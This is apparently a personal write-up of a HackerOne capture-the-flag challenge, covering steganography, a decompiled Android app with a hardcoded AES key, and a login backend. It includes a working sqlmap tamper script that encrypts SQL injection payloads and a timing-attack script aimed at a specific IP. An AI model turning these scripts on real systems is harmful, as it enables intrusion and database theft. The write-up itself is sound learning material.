On the 26th of February HackerOne announced ‘the biggest, the baddest, the warmest’ CTF, with an incredible price of 10.000 US$. Being a beginner hacker my first reaction was: ‘with that kind of price, I’ve no chance in hell to solve it!’. However, since I love playing CTFs I took a shot anyway. This is my write-up of the CTF, which I unfortunately was unable to solve due to both lack of time and lack of experience. I did however, get much further than I would have ever dreamed.
Step 1
The tweet included two PNG pictures and no hint on what to do. I’d recently done another CTF by Intigriti which also included a picture, and reasoned that steganography had to be involved. Running steghide on the image didn’t help, since it didn’t support PNGs. Neither did hexdump nor messing with the picture in Gimp. I then went and searched Duckduckgo for ‘png hidden stego’ and came upon a tool for extracting information from PNGs, namely zsteg. Running through the examples in their readme I was able to extract a link with the following command:
./zsteg D0XoThpW0AE2r8S.png -b 1 -o yx -v
Visiting the link led to a Google Drive box with a single file, an Android APK.
Step 2
First thing I did was load the APK in Android Studio and run it in a VM. It presented me with a clean login interface and nothing else. I tried a few username/password combos and intercepted the traffic in Burp. Turned out both the request and reply were encrypted.
Digging through the java code using jd-gui I could see that the app was using AES-256-CBC to encrypt and decrypt, and the key was even hardcoded!
After a couple unfruitful days trying to decrypt the payloads using OpenSSL I gave up and threw together a python script, which luckily was a lot easier that I expected. With this script I was able to both see and tamper with the requests the app sent. I tried bruteforcing the login credentials which was surprisingly easy: username: admin, password: password! Thinking I’d solved this step I logged in and was presented with a thermostat that allowed me to change the temperature somewhere… And nothing else. Apparently a dead end!
I continued to tamper with the payloads and discovered that by including a single quote in the username I could provoke a different error message from the server. Using two single quotes did not give an error. Great! Apparently the username was vulnerable to SQL injection!
Exploiting this injection manually seemed pretty daunting, so I looked to sqlmap. One problem though: I needed to encrypt every payload sent by sqlmap for the server to understand it. Luckily sqlmap has an option called ‘tamper’, which runs every payload through a python script. I looked through the included scripts but none of them did what I needed, so I wrote a new one using the code I wrote for manually tampering with the payloads. The result was this:
#!/usr/bin/env python3.6
""" For use in sqlmap as tamper script.
Encrypts payload using AES-CBC, then base64 and finally URL-encodes
chars. """
import base64
import hashlib
from Crypto.Cipher import AES
from Crypto import Random
from lib.core.enums import PRIORITY
import urllib
__priority__ = PRIORITY.LOW
BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE)
* chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
password = b'\x38\x4f\x2e\x6a\x1a\x05\xe5\x22\x3b\x80\xe9\x60\xa0\xa6\x50\x74'
retVal = "{\"username\":\"" + retVal +
"\",\"password\":\"1\",\"cmd\":\"getTemp\"}"
retVal = pad(retVal)
iv = Random.new().read(AES.block_size)
cipher = AES.new(password, AES.MODE_CBC, iv)
retVal = retVal.encode('ascii', 'ignore')
retVal = base64.b64encode(iv +
cipher.encrypt(retVal)).decode('utf-8')
retVal = retVal.replace('/', '%2F').replace('+',
'%2B').replace('=', '%3D')
return retVal
I let sqlmap run overnight and next morning it had dumped the whole database for me. One of the tables in the database was called ‘devices’ which included a list of 151 IP addresses. Most of those were LAN IPs (192.*.*.*), so I used sed to remove those and were left with a list of just 52 ‘real’ IPs. Feeding this list to nmap gave me just one working IP, which I did a full scan of.
Step 3
Visiting the URL on port 80 presented me with yet another login screen, and the site appeared to be the backend for the Android Thermostat app. I tried the usual stuff, weak login credentials (admin/password didn’t work here!), ran wfuzz to look for interesting pages, etc. The login function used a javascript to hash the username and password with a custom hashing algorithm using lots of XORs. It appeared quite daunting to me as I have no programming or IT background at all.
At this point I left the CTF for some days, not really knowing how to proceed. I did notice one interesting thing though: when dumping the database earlier, apart from the ‘devices’ table, there was a table with just two usernames and their hashed password. The admin password was hashed using MD5 and I was able to crack it (I already knew the password), but the password of user ‘test’ was encrypted using the custom hash of the backend login form. By pure chance I noticed that by trying to login as test:test the hash was equal to the one found in the database. I thought I’d stumbled upon the login by pure chance, but it turned out this was just another red herring.
I talked to another hacker Checkm50 who was well ahead of me in the CTF, and he hinted that I should look into timing attacks. I did some tests on the login and noticed that by systematically changing the first byte of the hash, one in 256 bytes took around half a second longer to get a reply from the server. I threw together a script to exploit this, but then realised that if each successive correct byte took half a second longer, this attack would take a LONG time.
# Script to perform time-based attack on the 50m-CTF login.
from collections import defaultdict
import requests
import numpy as np
import datetime
url = 'http://104.196.12.98/'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
string =
'f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753f5db1300'
results = defaultdict(list)
print('Starting login timing attack at ' +
str(datetime.datetime.now()) + '. \n')
for j in range(5): # Number of iterations
for i in range(256): # Cycle through all 256 bytes
payload = string[:2] + "%0.2x" % i + string[4:]
data = 'hash=' + payload
req = requests.post(url, headers=headers, data=data)
results[i].append(req.elapsed.total_seconds())
print('Cycle ' + str(j) + ' complete at ' +
str(datetime.datetime.now()) + '. \n')
j += 1
for key in results:
result = np.mean(results[key])
if result > (1.5): # Adjust this number
print(str("%0.2x" % key) + ': ' + str(result))
print('##########################################################\n')
The script required a lot of manual intervention. I let it run for 2-3 iterations of all possible 256 bytes since the timing fluctuated a little, and it wasn’t always clear which byte took 500ms longer. The first iterations took just a few minutes, but due to the 500ms delay for each correct byte, the last bytes took over an hour for each iteration! After about 3 days I was able to extract the correct login hash and log in.
Step 4
I had already run wfuzz on the site, so I knew what pages existed. I couldn’t get in to /diagnostics even though I was logged in, so I only had /control and /update to work with. Visiting /update the page tried to contact a fictitious server on port 5000 and failed. Doing some guessing on the URL parameters, I was quickly able to find that by adding ?port=80 to the URL the page used that port instead. Great! Now I only needed to find the parameter to change the URL.
Which again turned out to be harder than I imagined…..
Once again with some hints from hacker Checkm50 and an official hint on Twitter I was able to part guess, part bruteforce, the parameter for the URL. I supplied it my own IP, booted up my Raspberry Pi server, and… nothing. No traffic. Of course it wouldn’t be this easy!
At this point the CTF had run for almost a month, and the next day I woke up to the news that it had ended, and the server taken off line.
To be honest I probably wouldn’t have finished it anyway, it was quickly reaching a level way over my skill level. Still, I’m very glad to have participated, I learned a lot and actually got much farther than I would ever have dreamed.